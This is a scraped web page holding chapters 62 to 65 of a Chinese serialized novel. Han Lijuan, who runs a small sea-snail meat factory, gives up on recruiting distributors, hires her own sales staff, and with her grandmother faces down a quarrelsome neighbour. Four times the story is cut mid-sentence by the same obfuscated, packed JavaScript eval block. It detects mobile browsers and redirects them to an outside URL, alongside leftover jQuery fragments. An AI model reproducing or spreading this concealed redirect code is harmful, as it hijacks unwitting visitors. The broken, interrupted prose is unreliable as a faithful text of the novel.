韩丽娟可不是完全不懂市场，她去市里的生鲜批发市场转过，跟虾类比起来，鱼类的批发价是低一些，但完全没有低到他说的三四折，可能有，但那是给大批发商的价格，需要一次几万几十万块的进货。 价格层层批发商走下来，等到最低端的批发商跟终端手里，折扣跟韩丽娟给到的也差不多，可能折扣会比韩丽娟的低一些，但第一，他们卖鱼虾的损耗特别大，不管是自然损耗还是卖货搭头，这些都要售卖者自己承担，他们包装类产品不存在这些。第二，产品类别不同。波螺肉就算对标不上海参鲍鱼，但跟虾类完全可以比较。是属于高端产品。 韩丽娟这么想的，也这么说了。“所以，不同类的的产品，不能放一起比较，卖一条鱼赚几毛，但卖一斤香波螺，赚一块，甚至，终端能赚好几块。” 所有的经销商，手里都有自己的铺子，甚至因为手里的铺子多，索性做起经销商。 “我一个摊位一天能卖出去好几十斤甚至上百斤的鱼，一天能卖几斤的波螺肉啊。”对面听了韩丽娟的话，抓住漏洞，反驳。 “卖一条鱼跟卖一斤波螺肉用的时间是一样的，甚至卖波螺肉更省事省时。”同样的时间，卖同样的货，香波螺肉更合适。“而且，卖鱼的摊位还卖虾呢，卖鲅鱼的还卖黄花呢。”赚的多少，对于摊位来说，都是赚。“产品越多，越能吸引顾客前来选购。” 俩人来回的拆对方的台，对方想的无非就是压制住韩丽娟，让她降价。而韩丽娟想的无非就是维持价格，寸步不让。 “你这厂子规模也不大，产量有限，还按区域找经销商，能够按时供货吗？”对面的人眼睛一转，接着问。 “我这厂子是其中一个厂区，我还有其他加工的地方，产品供货这里，先看销量吧，我能说的是，如果你的销量好，我会把更多的货提供给你，但如果你卖的不好，又遇上销量高峰，那我可能会优先把货提供给别的经销商。” 其实，对面如果是韩丽娟未来的经销商，韩丽娟不应该这么夹枪带棒的说话，她应该跟对方好好沟通，商量铺货的事情，比如现在产量低，怎么铺货，等淡季、旺季怎么铺货。 但对方带着挑剔，似乎没有合作的诚意，所以韩丽娟说起话来，毫不顾忌。 之前王老板也嫌弃贵，但王老板先是肯定了她的产品，俩人对于价格之间的争论，也是正常的。可这个人，韩丽娟不知道对方是什么大拿，像是下来巡查的专门挑刺的领导。 她昨天想的太好了，挑经销商没这么简单啊。 “哦？”对面坐直身子，来了兴趣。“能带我去看看吗？” “以后吧，如果有机会的话。”韩丽娟觉得，她这个拒绝是委婉的。 “韩厂长，这你就没有诚意了。”对面的人身子又靠回到椅背上。从兜里掏出一根烟，要点上。 “我这个厂区，禁止吸烟。”韩丽娟提醒。“会影响到我产品的质量。” “行。”对面倒也算听得进话，掐了烟。 “韩厂长似乎对我带着敌意。”他把烟重新装回兜里。“但我喜欢你这股子劲儿。” 韩丽娟心里翻白眼，恰恰相反，她可讨厌死他那股子劲儿了。谁稀得要他的喜欢。 “您误会了，我对所有人都不会带着敌意，我这人不怎么圆滑，不会变通。”韩丽娟找了个借口。 “那你为什么拒绝一个即将成为经销商的人，参观你的工厂呢？”对面似乎不懂。 “可能我也没看到你的诚意吧。”韩丽娟回道，她试图把眼前这个人跟昨天第一个给她打电话的人重叠，是一样的干脆。但昨天在电话里，她觉得对方是十分想成为经销商的。但今天一见，不是她想的那样的。 他似乎只是来战胜她的。 “说实话，我看到报纸上的广告，想象中你这里应该是一个很大的厂区，但这个厂区，以前是什么，育红班，幼儿园？”对面的人边说边摇头，他一打眼就没看上这个小厂区。“我手里好几条批发线，而且，自己也有摊位，每年经手的销售额几十万，甚至上百万，我这样的做你的经销商，还不够有诚意？” 要知道，他之前拜访的客户，那都是手里有自己大冷库的人，甚至有养大船的，这么一个小工厂，他不觉得，自己应该拿出什么诚意，他本身就是诚意。 “那您是挺厉害的。”韩丽娟夸赞一句。“但，我们的工厂就是这个规模，您也看到了，它在慢慢发展。” 一年百万的销售额，听起来很多，但她的这个小厂子，不算其他作坊，今年预计流水就是80万到90万。 如果算上其他作坊的订单，轻松超过百万。 一百万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285450|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 销售额度，听起来很多，但在滨海这座城市，算不上什么，叫不出名，排不上号。 但她毕竟以后也要去市里，谁知道哪天遇见，他也说了，他手下有铺面，没准自己还要往里铺货呢，也别把人得罪狠了。 和气生财吧。 “价格这里，刚刚咱们也谈了，我给所有的经销商定价是一样的，这个退让不了，还有就是其他加工地点那里，我会带我的经销商过去，但，如果不是经销商，抱歉，这属于我的机密。” “好吧。”对面听了韩丽娟的话，点点头，算是认同她的说法。 “但，韩厂长，我还是建议你，把工厂做的大些，你这工厂太小，吸引不来有实力的经销商。”临走前，这人还不忘踩一脚韩丽娟的加工厂。 韩丽娟笑笑，实力不实力的，永远是变动的。而且，她现在手里的经销商，王老板实力绝对在这人之上。 “多谢你的建议。” 也不知道今天没开好头，还是怎么样，接下来见的几个人，都没洽谈成功。 “我能每个月只批发50斤吗？”有的经销商，想要一个区域，但每个月只要五十斤的货。 旺季，她手下好的终端一个月都卖不止50斤。 “能先进货，后给钱吗？”韩丽娟要求经销商先给百分之七十的货款，才发货。 经销商跟终端可不一样，很多店面铺位人员固定，多数是本地人或者外地长期定居本地的，跟市场其他人都认识，有关系，不会为几十斤的货款跑路。就算跑路也好找，而且几百块钱的损失，她承担的起。 但经销商可不一样，有的经销商就有一个办公室，卷了她几百斤的货，卖出去跑路她都找不到人。那损失可就大了。 “我只有一个摊位，可以按照经销商价格进货吗？” 韩丽娟完全没想到，她今天遇到的是这样额局面。 从她入行起，她遇到的困难和问题多了去了，遇到问题，解决问题。但今天，韩丽娟真的有点受挫。 这到底是为什么呢？ 最近很顺？ 也没有啊，从过年开始，到现在，她一直在解决的就是市场饱和产品降价的问题，一直处在问题的漩涡中。 韩丽娟觉得，这不对，她要调整心态。 经销商不是一天就能找到的，别因为电话多了，就飘飘然，觉得自己马上成功。 韩丽娟试图让自己清醒。 她开始分析，这几次失败的原因。 有人嫌弃她的规模小。 关于规模，韩丽娟自己也思考过，要不要自己增加人手，建大长。 但她自我否决了。 船小好掉头，其实她当初误打误撞进入这个行业，但了解越深，越知道，这个行业，目前是有上限的。她突破不了，这也是一些加盟商看到的，前景是有的，但也就是这些。除非带着其他的品类卖，单独做她的加盟商，不好赚钱。 但，盲目扩张带不来更多的营业额，而且会因为其他人的冲击，为了稳住市场和订单，导致利润降低，以及工人赚的更少。 63. 第 63 章 行业虽然小，她的规模虽然不够大，但目前够她折腾，以后的事情以后考虑。现阶段，她主要想的是如何找到合适的经销商。 这一想，就到了周末，她们要搬家。 其实没什么要搬走的，周六的晚上，姜美凤两口子借了一辆手推车，大件一放，剩下的小来小去，三两趟就搬完了。 新找的房子，离厂房更近，两个卧室，她爷奶一间，她自己一间。有了独属于自己家的小院子。 她奶育的那些秧苗，有地方栽了了。 “韩大爷，大娘？” 周日，老太太正指挥韩丽娟爷爷在院子里翻地，就听见大门外有人叫他俩。 “谁呀？”老太太略带疑惑的朝门外望去。 “哎妈呀，哎妈呀~”这一看，拍着大腿就急忙走过去。“小程老师！” 门外，程老师带着方虹、崔浩站在那。 “快进屋，快进屋。”老两口急急忙的迎人进家里。“这一晃，得有十多年没见了吧。” “是呀，现在别人都叫我老程了。”程老师笑着说，小程老师，还是二十年前在富裕村当知青的时候，村里人的叫法。 “程老师，你们怎么找过来的？”在屋子里听见动静的韩丽娟出来迎接。 “还说呢，去了你之前住的地方，结果邻居说你搬家了，给我们指的路。”方虹接过话。“搬家怎么没告诉我。” 虽然程老师是第一次来，方虹去年的时候总是过来。今年这是刚开学不久，第一次来。 “昨晚上刚刚搬的，我想着你刚刚开学，怕是没时间。”韩丽娟解释。 “我小姨听说你爷奶过来了，急忙的就要过来。”方虹说。 “爷奶，这是方虹，程老师的外甥女，这是崔浩，程老师她儿子。” “爷爷奶奶好。”方虹跟崔浩跟老头老太太俩人打了招呼。 “好好。”老太太乐的，合不拢嘴的。 一行人进屋。 “本来想着有功夫我们老两口去你家看看，但年后回来娟子就开始忙，这周是第一次休息，早起就开始在屋子里写写画画的，一直没时间。” “本就应该我过来看你们，前几天我得了消息，就想过来，但正是开学的日子，也忙。” “行，你们年轻，忙点好。” 进了屋子，老太太拉着程老师的手不放，就开始聊。 天暖了，左邻右舍的小孩都在外面玩，崔浩待不住，不一会就出去找小朋友玩。 方虹跟韩丽娟插不进话，索性就去韩丽娟的屋子聊天。“你最近在忙什么？”方虹听老太太说韩丽娟在忙，于是问道。 韩丽娟最近正对加盟商的事情焦头烂额。“别提了……”韩丽娟将自己的难题说出来。 她觉得自己现在有点钻牛角尖，但，不知道怎么破局。 方虹听后，也不知道怎么办，但她想到一个办法。“咱俩去市里吧，我带你找别人聊聊，咱们转换转换思路。” 一人计短，三人计长。 方虹决定带她去市里，找市场经济类的同学们聊聊。他们这个年纪，都是校园的学生，也接触不到太多外面的社会。 “好呀！”韩丽娟一想，也好。 俩人打过招呼，就骑车直奔市里。 周末，大学校园里人来人往，这不是韩丽娟第一次过来，但每次过来，看着抱着书本走来走去的学生，她都觉得这里充满神圣。 可惜她学习不好。 “任鹏。”方虹带着韩丽娟，轻车熟路的摸到一间自习室，打开教室后门，悄悄地喊了一个人的名字。 韩丽娟记得他，之前问过他一些自己不懂的名词的意思。 任鹏回头，看到方虹在叫他，就收拾书本，拎着书包出来。 “不是说这周没时间过来？”出了教学楼，任鹏问。 嗯？韩丽娟一听，这话就不是说给她听的，这俩人…… “韩丽娟这里，有些问题，我们想着，来问问你。”几人找了一个凉亭，坐下。 “是什么问题？”听到问题，任鹏不在纠结其他，扶了一下眼睛，问韩丽娟。 韩丽娟又说了一遍。 任鹏听着，拿出一张纸。也跟韩丽娟一样写写画画。但，他是将一张纸分成四部分去写的。而不是像韩丽娟一二三四的去罗列。 等韩丽娟说完，他又问了一些问题后。 “那么现在，你看我理解的对不对。你的工厂目前是行业领头羊，现在有一个机会，能从工厂转型成品牌企业。但因为你的规模所限，招不来合适经销商，导致转型停滞。” “但规模扩大，人员增多，会导致抗风险能力降低以及其他成本增加，这些当前你没办法解决，你的解决办法是联合行业内部其他小的工厂，一起将行业规模化。但这只解决你自己的问题，并没有缓解外部矛盾。” “是的。”韩丽娟点头。 “还有，从你这整个分析来看，在整个行业上中下游，你做的是中段。”任鹏接着说。 中段？ 韩丽娟有些愣住，她怎么做的是中段呢，刨除生产原料阶段，在波螺肉行业，她做是初始的生产。 “我这应该不是中段吧？” “目前看，你在生产，也在卖货，但从整体的生产比例来说，你做的就是整合了下游厂家的产品，然后卖给终端，他们再将货品卖给消费者，我没说错吧。”任鹏盯着纸张，如果韩丽娟没说错，他应该没理解错。 ？？？ 韩丽娟猛然惊醒。 她在做中段，还要把中段送出去。她这不又错了吗！ “哎呀！”韩丽娟拍自己脑袋。 “其实你的思路完全没问题，创立品牌，整合市场，把握行业动向。”任鹏觉得韩丽娟大方向是没错的，但一个把握不好还是容易被偷家，严防死守加盟商不去俩系其他厂家，那是不可能的。“你手里握着品牌。其他人要做，就要重头开始。” 其实在商业上，任何时候，任何事件，都会导致自己被别人偷家。所以，大家都稳扎稳打，这也是韩丽娟不敢太扩张的原因，她资金技术都是有限的，投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289728|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入越多，就越求稳，越求稳，就越不稳。 “我呀，就是陷进了这个经销商的想法里，出不来。任鹏刚刚说的，让我一下子清醒了，我为什么这么执着将自己跟终端分开呢？我可以每个区招几个销售，让我自己的员工，去谈业务，这样，终端不就在我自己手里了！” “对，我想起来了。”方虹也说。“现在有些企业也来大学招人，很多大品牌都在其他城市设立办事处，他们这么做，也是为了开拓市场吧。” “咱们滨海城市面积不大，一个城市里其实不需要太多的经销商，尤其是你的产品不是一个大众型的产品，经销商多了，还会涉及到一个问题，当你准备激励政策的时候，A区的经销商会不会多存货，拿到更低的进货价格，从而把货悄悄地卖到B区去呢？” 任鹏接着给韩丽娟分析。 “确实，如果这样，就需要更多的精力去规范经销商，但本身想要找经销商的初衷是减少工作量，如此，反倒增加了许多新工作，还是要招人。”韩丽娟决定不再找经销商，有个王老板，当个鲶鱼就行。 “那你报纸上的广告怎么办？”方虹问，一个月的广告费不便宜的。 “可以修改文字，改成招聘信息。”韩丽娟说。 韩丽娟转换思路后，觉得一切豁然开朗。 其实她之前不是没有类似的想法，跟王老板谈合作的时候，她就想和要把握一部分重要市场。 但当时她又受王老板影响，觉得找两个这样的加盟商实在省事，减轻自己很多工作。目前看，省事是省事，就怕省着省着，没她啥事儿了。 告别任鹏，俩人买了些东西，马不停蹄的回韩丽娟家。 程老师今天在她家，要买些好菜，招待客人。 …… 周一，韩丽娟去改了广告文案。然后，去参加面试。 要招人，但她不知道怎么招销售，于是，她在报纸上找了招聘信息，打了电话过去，她先参加参加别的企业的面试。 取取经。 到了招聘地点，来面试的人不多。 到了之后，有一张表格，表格比较简单，姓名，性别，住址，联系方式，以及工作经验。 “韩丽娟？”对面的人看着韩丽娟填的表格。“自己卖过菜？” “对。”韩丽娟点头，她觉得工作经验那里不能空。 “行。”对面的人点点头，识字，卖过东西，长得也还行。 “这样，你明天来上班吧。” 明天就来上班？ 韩丽娟有些吃惊，就这么就定了？ “那工资？”韩丽娟问。 “啊，一个月基本工资50块钱，其他的赚提成，卖出一套门窗，给你3块钱提成。我们现在门窗行业，挺好赚钱的，淡季可能赚的少点，旺季一个月能赚上千，你还有啥问题？” “没有了。”韩丽娟回道。“那我回去考虑考虑吧。” “行，考虑好了明天直接过来。” 对面的人也不在乎。 招聘，原来这么简单？ 64. 第 64 章 接连面试两家，面试问的问题都差不多，家住哪里，有没有经验，对行业是否了解。有的韩丽娟说了解，简单说了一下，有的就说不是很了解，但结果都是可以上班。 本来奔着被挑刺，被询问来的，结果不小心找到三份工作，这让韩丽娟有些郁闷，大家找销售都这么随意吗？ 难道不应该是设置一些门槛吗，但这些公司，似乎只要是识字，沟通起来没问题的人，都要。 大家这么做一定是有什么原因。 韩丽娟找了一家小面馆，一边吃饭，一边思考。现在招人，要么就是在居住密集区贴小广告，要么就是登报，还有广播。前一个韩丽娟不知道效果，后两个，想要效果好，就要多花钱，买更多的时间跟篇幅。在消息传递比较慢的情况下，有一个抓一个，也说得通。 根据这两天的收获，她该如何面试及录取求职者，以及按如何安排工资呢。 她想起任鹏之前给她分析的时候，会先罗列事实，然后分析优劣势，寻找劣势的解决办法，她也可以这样，把这两天应聘时候遇到的事情罗列，然后，保留好的，修改不好的。 第一个事实就是招聘要求少。 优势就是能很快招到人，然后投入工作。 但要求少，不是没要求，要识字，知道寻找招聘信息，从主观上，这些人找工作的意愿很强，只要面试通过，几乎就能来上班。 但也有缺点。 招来的人不一定适合行业，因为没有相关经验，上手能会慢一些，也可能最终发现不适合这个岗位。 第二个事实就是工资都是底薪加提成。 优势就是销售想要赚钱，就要尽可能的多卖货，避免一些人拿着钱，不干活。 缺点就是淡季不开单工资低，员工可能会离职，然后开启新一轮的招聘，还要浪费人力财力。 这么一罗列，很多事就清晰了，录取后她可以对人员进行一下培训，合格的留下，不合格的不要。至于合格的标准，就是能独立开单。薪资构成也是底薪加提成，新店有新店的提成，老店订货有老店订货的提成，然后每年一月、七月计算半年销量，分奖金，发钱。 “搞定！”韩丽娟甩起纸张，又解决一个难题。 接下来的时间，韩丽娟忙着找办公室，申请电话，设计各种销售表格类以及销售提成。因为表格跟提成有涉及到很多专业的地方，韩丽娟通过方虹，又找任鹏几次。 “你俩关系不一般。”接触越多，韩丽娟越发现，方虹跟任鹏之间有点猫腻。 “我俩是有点不一样的革命情谊。”对此，方虹到没什么遮掩的。“不过，他准备申请公费出国，我对出国不感兴趣，所以我俩未来啥样还不知道呢。” “啊，那怎么办。”不管是出国还是处理感情问题，都触及到韩丽娟的知识盲区，但方虹跟任鹏都帮了她不少，她不由的为俩人操心。 “现在考虑那么多干什么。”方虹不以为意。“还是先说说你吧，周末面试，能带我一个吗，我还没见过面试的场景呢。” 韩丽娟点头，她一个人面试也怕遇到状况，但厂里现在不能没有管事的，美凤姨没办法出来。 整个三月，面试、录取、培训新人，带人走市场。忙碌的时间，日子过得飞起。 “韩丽娟！” 三月底，李春来才带着战友两口子过来，韩丽娟按着时间、地点过来接人，老远，就看见李春来朝她挥手。 “罗为民、宋香芸。”李春来指着战友两口子，给韩丽娟介绍。 “你们好。” “你好，嘿嘿嘿。” “你好，嘿嘿~” 两口子都话不多，露着一排牙，冲着韩丽娟笑。 韩丽娟打量这俩人，面相上就是那种憨厚朴实的人。“路上累不累？”以后都是她的人了，韩丽娟关心的问。 “不累。”两口子又同时摇头。 看看时间，已经中午，快一点了。“咱们找个地方吃口饭吧，怎么样，李春来？” 李春来摇头拒接，“你们去吃吧，我时间来不及了，得去跟车队汇合，准备装货。”说到这，他好像突然想起什么，转身，打开车门，勾出一个袋子。“临来之前，回了一趟村里，这是你爸妈让带给你的。” 什么东西，韩丽娟有些疑惑的接过袋子，打开。“咸肉！”想起来了，春节回家，说起在这边吃不到很多家里的东西，炖豆角也不冒泡，当时她妈说，要想豆角冒泡，得放点面起子跟咸肉。说等她这次走，给她带点咸肉，留着夏天炖豆角吃。结果因为她带着爷奶出门，大家要准备的东西多，就把这事忘了。没想到，过了这么久，她妈竟然还记得。“谢谢你，李春来。” 这种被惦记的感觉，让韩丽娟觉得这一个月的劳累，都烟消云散，她十分开心的感谢李春来。“你等我一会。” 他们接头的地方，是靠近城外，没什么快餐，附近只有一个小卖铺，韩丽娟跑过去，不一会，拎着一袋子的东西过来。“这些你拿着路上吃，估计你到那边他们都吃完饭了。”投桃报李，李春来帮她把员工带来，还带来家里的温暖，她也不能让人饿着肚子开车。 “拿着呀。” 李春来看着韩丽娟真诚的眼神，一个多月没见，她变成短发，显得眼睛更大了。他本来不想要的，但不知道为什么，还是伸手接了。 “那我先走了。”他说。 “嗯，注意安全。” 送走李春来，韩丽娟带着罗为民两口子吃过饭，坐着客车回到村里。 她先把这两口子送到她替他们租的房子那边。“李春来跟你们说过了吧，我们村房租要贵一些，但你要上班，还是离着厂子近一些好。”韩丽娟解释道，她看他俩的穿着和带的东西，应该家境真的不富裕，甚至可以用穷来说。“香芸嫂子，我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294585|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厂子现在还招工人，如果你想来，也可以过来，咱们的厂工人一个月也不少赚，还不压资，一个月，你俩就能赚回房租，还有剩余。” “真的！”宋香芸一听，惊喜道。“那可太好了，谢谢，谢谢。”她不知道说些什么好，只能一直说谢谢。 “有啥好谢的，我不耽误你俩收拾了，明天早晨7点半，上班，你们出了这个院子大门，走到大道上，朝左拐……朝北走一段，也就两百米，就能看见咱们厂子了。” 韩丽娟安排好她俩，就回厂子里。 最近，她更多的时间是在市里带销售，厂子里的生产，都是姜美凤在管。她几天回来一次，今天难得回来，索性，去厂子转一圈。 “娟子，你怎么回来了？”姜美凤看见韩丽娟回来，十分慌张。甚至想上手过来推她，不让她进去。 “厂子里发生什么事情了？”见到这个阵仗，韩丽娟立刻问。 “走，出去说。” 姜美凤拉着韩丽娟走远，一直到站在厂子大门口看不到的位置，才停下。 “我就知道，你今天要回来，三五分的出来一趟。”姜美凤喘口气，说道。她拉着韩丽娟，走的快，还真有点累。“那个前屯子的刘嫂子，昨天下午开始，就一个劲的来厂里说要找你，拉拉着脸，像是谁欠她多少钱似的，今天上午又来了三次，我一直说你不在，她才走的，看时间，估摸着一会又要来了。” 姜美凤这人，轻易不跟谁脸红的，遇到这种事情，想的是能躲就躲。 “我的厂子，我也不能一直不回来呀。”韩丽娟说着，就准备往厂子走。 “咱们现在也算是大厂子了，她这么一闹，咱们名声不好听。”姜美凤觉得，他们厂子现在在行业里挂上号的，被一个妇女闹上门，传出去，怕被人笑话。 “我躲着一个人不敢见，才更不好听。”韩丽娟不怕闹事的，而且，刘婶那边，她还想要个说法呢。 “韩丽娟，你回来了！”说曹操，曹操就到。韩丽娟跟姜美凤刚刚走到厂子门口，六婶子骑着自行车，怒气冲冲的来了，看见韩丽娟，赶忙下车，将自行车扔在一旁，三两步冲过来。“我才知道，你把这些小作坊都笼络住了，搞了一个联合会，还说你不记仇，感谢我曾经帮助过你，你要是真的感谢我，不记仇，当初我来求你的时候，你为什么不跟我说，你要整一个联合会，咱们一起把价格维持住，而是跟我说，不行就降价，你纯没按好心，年纪不大，心眼不少！” 啥叫倒打一棒，韩丽娟算是见识了。 “你这个大地缸，你搁这说谁呢？”韩丽娟还没说话，在厂子里拖地的老太太看到门口有动静，出来了，正听到她孙女挨骂。 老太太一听，这能让她这么骂自己孙女，不能够，论骂人，她在韩家排第二，哪个敢说自己是第一！ “谁来找事！”正忙着掏厕所的老韩头也从厂房后面出来了。 65. 第 65 章 “怎么地，人多欺负人少呀！”看到人多，刘婶退后一步，又站定，往前凑了凑。 “爷，你把手里这舀子送回去。”随着老韩头靠近，他们这飘着一股子不可言说的味道。“这味道我不爱闻。”韩丽娟没管刘婶，而是先让他爷把东西送走。 毕竟他们厂子是做的是食品，院门口搞得臭臭的，不好。 老韩头假装朝刘婶扬了扬粪舀子，朝后边走去，送回去行，送完他再回来。 厂子里，干活的员工都往外看。 “美凤姨，你去跟员工说，都不准出来，谁出来开除谁。” 韩丽娟又把姜美凤支走。 “但你这……”姜美凤不想走，韩丽娟跟她奶奶年轻的年轻，岁数大的岁数大，遇到对面这不讲理的，她怕她俩吃亏。 “美凤，你听娟子的吧，别让工人们受影响。”老太太也劝，她遇到的事多了，这都小场面，骂几句的事。 姜美凤走了，厂里工人都开始趴窗户了，她回去，至少把事实说明白，别让这些工人乱讲讲。 “哼，我说错什么了，怕别人听，当初别干这丢人的事。”看人少了一半，刘婶又抖擞起来，提高音量。“你们厂长，心眼子可多了，给她干活小心点，别被买了还替人家数钱！还有，没事千万别找你们厂长帮忙，她呀，非但不帮，还想着怎么从你这捞好处！” “快闭嘴吧，欺负我孙女面嫩不好意思跟你这长辈吵是吧，谁丢人也没你丢人，上人家求人办事，拎那三瓜俩枣，人家没按你心意来，东西都拎走，瞅你这点出息，你这辈子能干成啥大事！咋地，家里的桃酥罐头吃完了，吃出滋味来，嘴巴馋，来这让我挠一顿，讷点回家接着炫呗。” “嘿，你这老太太，说啥呢，我自己的东西，我想咋整就咋整，我想送人就送人，想喂狗就喂狗。” “哦，原来你家那些东西都被狗吃了！” “说谁是狗呢！” “说你呢！一把岁数活到狗身上去了，一点深沉没有，照照镜子看看你自己那熊样，别人为啥帮你！啊，我问你，你进这行当还是我们娟子带进来的，你感谢了吗，还说娟子不知道感谢你，不感谢你还带着你赚钱了，你人模狗样的，转身就把我孙女的生意搅和黄了。什么年纪不大，心眼不少，我看那，你才鬼心眼子一堆，瞅你跟个地缸似的，不长个头，全长心眼子，还都是歪心眼子！” “你说谁呢，你这老太太这么大岁数，说话怎么这么不积德呢。”刘婶子没想到碰到老太太这么嘴上不饶人的，她还没说几句，都被这老太太叽里呱啦的说了。“我说错了吗，当初我来是奔着结仇来的吗？那还不是想着你好我好大家好。结果你孙女咋说的，不知道咋整，不行降价吧。小嘴叭叭的，就出馊主意。” “你这人真有意思，说话不说头，不说尾，就挑着当么间那点你唯一能说出来的人话说。咋地，你是玉皇大帝啊，说的是金口玉言啊，嘴一张，谁都听你的，谁都得帮你，不听你的不帮你都得死。叭叭的全都是理，你这么厉害，你还来找我孙女干啥，带着你的嘴，谁不要你的货，你骂他们去啊，你让他们跪下来，谢主隆恩，给你钱啊。” “别人是别人，你孙女是你孙女，都不是好东西。”刘婶支支吾吾半天来了一句。 韩丽娟都插不进话。 “说你脑子不好你不爱承认，都说我孙女不是好东西了，还来，自己寻思自己的话对不对劲，我这人，要是觉得别人不好，恨不得离着八十丈远，哪像你，人家都烦死你了，还往跟前凑。你咋想的以为我不知道呢，觉得我孙女年轻，我们外来的，不敢把人得罪狠了，你来闹一闹，我孙女怕别人笑话，就带上你了。我说你心眼子歪歪，一点都没说屈了你。我告诉你，你那小算盘打错了，我孙女这但凡有一点不好，我们都把事算到你们家头上，你们家也别想好过，我这么大岁数，我怕啥，我蹲篱笆子都蹲不了几年。” “哎呀！”刘婶说不过老太太，一拍腿，就要坐地上嚎。“快来看……” “嚎什么呢！”这时候，韩丽娟她爷回来了，“我们老两口岁数大了，听不了哭声，听多了犯病，一旦犯病了，我俩就让我儿子过来，把我们抬你们家去，让你们伺候哈。” 老太太一听，蹭蹭蹭，几步走到刘婶自行车旁，就要坐下。 刘婶从地上爬起来，拍拍屁股上的灰，赶紧走到自行车旁，推起来。“一家老老小小的不讲理，咋地，以为这样就能搞退我？”今天就到这，明天又是一条好汉，她还会再来的。 “刘婶，我一直给你留着脸面呢。”韩丽娟按住又要说话的奶奶。 估计刘婶跑这几趟，她奶也有气，气出了就好，关键是要解决问题。她很忙，没时间天天跟着打嘴仗。 “先不说别的，就说你来我这闹这件事，你觉得对我的厂子是啥大事吗？明天你来，我大铁门一关，任你在外面喊破嗓子。你来前两天，别人当个热闹看，时间长了，热闹都没人看。” “可能在你家，你撒泼打滚能得到好处，但在我这行不通。有些手段，不是只有你能用，别人不能用。你能来我这闹，你觉得我就坐以待毙，不会反击回去吗，但你家能承受住我去闹的后果吗？我去你丈夫，你儿子的单位也闹闹看呢？” “如果你觉得闹这些不够，你家亲朋故友，我都去闹一闹呢。还有，我是年轻，但对我好的，我对别人好。对我不好的，我也不是面人，任人拿捏。” “咱俩的事，你牵扯旁人干什么？”刘婶瞪大眼睛，韩丽娟这话是什么意思，她敢去闹？ “当初你第一次撕破咱俩合作，换做别人，可能会调整一段，丢一丢客户，损失些订单，但我完全没有。后来你去酒店闹，促使让我加快速度，整合了这些小作坊，你看，你的闹没给我带来坏处，反而让我越做越好。但刘婶你自己这边呢？上次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299775|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹，你失去了波螺肉的客户，这次闹，你准备失去点什么呢？” 韩丽娟又说了一句。 “你……你你你……”刘婶更加害怕了，她想起上次去酒店闹那次，隔天就有人跟她发话，酒店行业不需要他家的波螺肉，没人要。 她后知后觉，去酒店闹得罪人了。这次，她学精明，不去找别人闹，就只找韩丽娟。 但，韩丽娟到底啥意思？ “你现在系你的海带扣，赚你的钱，我卖我的波螺肉，赚我的钱，井水不犯河水，大家各自安好。上次你闹，我没搭理你，不是我怕你，而是你那点小打小闹，对我没影响，我的时间宝贵，没工夫搭理你，但你要把我搞烦了，你全家也不消停。” 韩丽娟怎么会不怕别人闹，但她知道，越怕，越不能表现出来怕，况且，她说这些不是吓唬人，而是如果刘婶一直闹下去，她一定会采取手段。 她如果采取手段，不是想怎么能让刘婶不来她这闹，而是刘婶闹刘婶，她搞她的，看谁闹的厉害。 进攻，就是最好的防守。 “认识你，真是瞎了眼！”刘婶不准备闹了，但嘴上不能怂。 “干啥去，让你走了吗？”老太太伸手抓住自行车后座。 “干啥呀！”刘婶看着这老太太，咋地这就想讹上她是吧。“韩丽娟，你管管你奶，这老太太不讲理，我来闹不行，我想走还不让！” 这一家子，都是什么人，小的狠，老的横。 “干啥，替你爸妈教育教育你，撂了狠话就想跑，没门！” “哎呀，她都瞎眼了，心也是盲的，是该教育教育。” “谁瞎了，谁！”刘婶气的扯开嗓门大喊，但喊完才想起，刚刚她自己说的话。 “她要是会道歉，干不出来闹的事。”韩丽娟摇摇头。她要她的道歉干什么，心不诚的一句对不起或者不好意思，糊弄谁呢，以后出去逢人还说自己道歉了，显得她多知错能改。“让她走吧。” 